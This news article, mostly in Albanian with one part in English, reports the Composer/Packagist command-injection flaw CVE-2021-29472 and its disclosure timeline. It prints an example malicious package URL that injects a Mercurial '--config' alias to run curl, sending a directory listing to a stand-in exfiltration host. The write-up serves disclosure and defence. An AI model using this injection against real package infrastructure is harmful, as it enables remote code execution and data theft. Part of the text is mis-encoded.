Një dobësi në menaxherin e paketave Composer, e cila lejon kompromitimin e repositorit PHP Packagist

Në menaxherin e varësive Composer është identifikuar një dobësi kritike (CVE-2021-29472) që lejon ekzekutimin e komandave të rastësishme në sistem gjatë përpunimit të një pakete me një vlerë URL të strukturuar posaçërisht, e cila përcakton adresën për shkarkimin e kodit burimor. Problemi shfaqet në komponentët GitDriver, SvnDriver dhe HgDriver, të përdorura gjatë përdorimit të sistemeve të menaxhimit të kodit burimor Git, Subversion dhe Mercurial. Dobësia është rregulluar në versionet Composer 1.10.22 dhe 2.0.13.

Veçohet se problemi e ka prekur kryesisht depozitën e pakove Packagist, e cila përdoret në Composer në mënyrë të paracaktuar dhe përmban 306 mijë paketa për zhvilluesit e PHP, duke shërbyer çdo muaj më shumë se 1.4 miliard shkarkime. Gjatë një eksperimentimi është treguar se, nëse ke informacion rreth problemit, sulmuesit mund të marrin kontroll mbi infrastrukturën e Packagist dhe të kapin kredencialet e zhvilluesve ose të redirektojnë shkarkimin e pakove në një server të jashtëm, duke organizuar dorëzimin e variantëve të pakove me ndryshime të dëmshme për të vendosur një backdoor gjatë procesit të instalimit të varësive.

Rreziku për përdoruesit e fundit është i kufizuar në atë që përmbajtja e composer.json zakonisht përcaktohet nga vetë përdoruesi, ndërsa lidhjet me tekstet burimore transmetohen gjatë aksesit në depo të jashtme, zakonisht të besueshme. Goditja kryesore i është bërë depozitës Packagist.org dhe shërbimit Private Packagist, të cilat thërrasin Composer duke transmetuar të dhënat e marra nga përdoruesit. Kriminelët mund të ekzekutonin kodin e tyre në serverat e Packagist duke publikuar një paketë të formatuar posaçërisht.

Ekipa e Packagist eliminoi vulnerabilitetin brenda 12 orësh pas njoftimit për këtë çështje. Hulumtuesit e njoftuan në mënyrë private zhvilluesit e Packagist më 22 prill dhe në të njëjtën ditë problemi u zgjidh. Një përditësim publik i Composer me eliminimin e vulnerabilitetit u publikua më 27 prill, dhe detajet u zbuluan më 28 prill. Auditimi i logëve në serverat e Packagist nuk zbuloi ndonjë aktivitet të dyshimtë të lidhur me vulnerabilitetin.

Problemi shkaktohet nga njĂ« gabim nĂ« kodin e verifikimit tĂ« URL-ve nĂ« skedarin rrĂ«njor composer.json dhe lidhjet pĂ«r shkarkimin e burimeve tĂ« teksteve. Gabimi ka qenĂ« i pranishĂ«m nĂ« kod qĂ« nga nĂ«ntori i vitit 2011. NĂ« Packagist, pĂ«r tĂ« organizuar shkarkimin e kodit pa lidhje me njĂ« sistem tĂ« caktuar tĂ« menaxhimit tĂ« burimeve, pĂ«rdoren shtresa speciale, tĂ« cilat ekzekutohen pĂ«rmes thirrjes "fromShellCommandline" duke kaluar argumentet e komandĂ«s. PĂ«r shembull, pĂ«r git, thirret komanda "git ls-remote —heads $URL", ku URL-ja trajtohet pĂ«rmes metodĂ«s "ProcessExecutor::escape($url)", e cila ekranohet kundrejt strukturave potencialisht tĂ« rrezikshme, si "$(
)" ose "`
`".

The essence of the problem is that the method ProcessExecutor::escape did not escape the sequence «—«, which allowed specifying any additional call parameter in the URL. Such escaping was missing in the drivers GitDriver.php, SvnDriver.php, and HgDriver.php. The attack through GitDriver.php was hindered by the fact that the command «git ls-remote» did not support additional arguments after the path. An attack on HgDriver.php became possible by passing the parameter «—config» to the utility «hq», allowing the execution of any command through manipulation of the «alias.identify» setting. For example, to download and execute code via the curl utility, one could specify: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

By placing a test package with such a URL in Packagist, researchers found that after being hosted on their server, an HTTP request was received from one of the servera Packagist in AWS, containing a listing of files in the current directory.

Burimi: opennet.ru

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster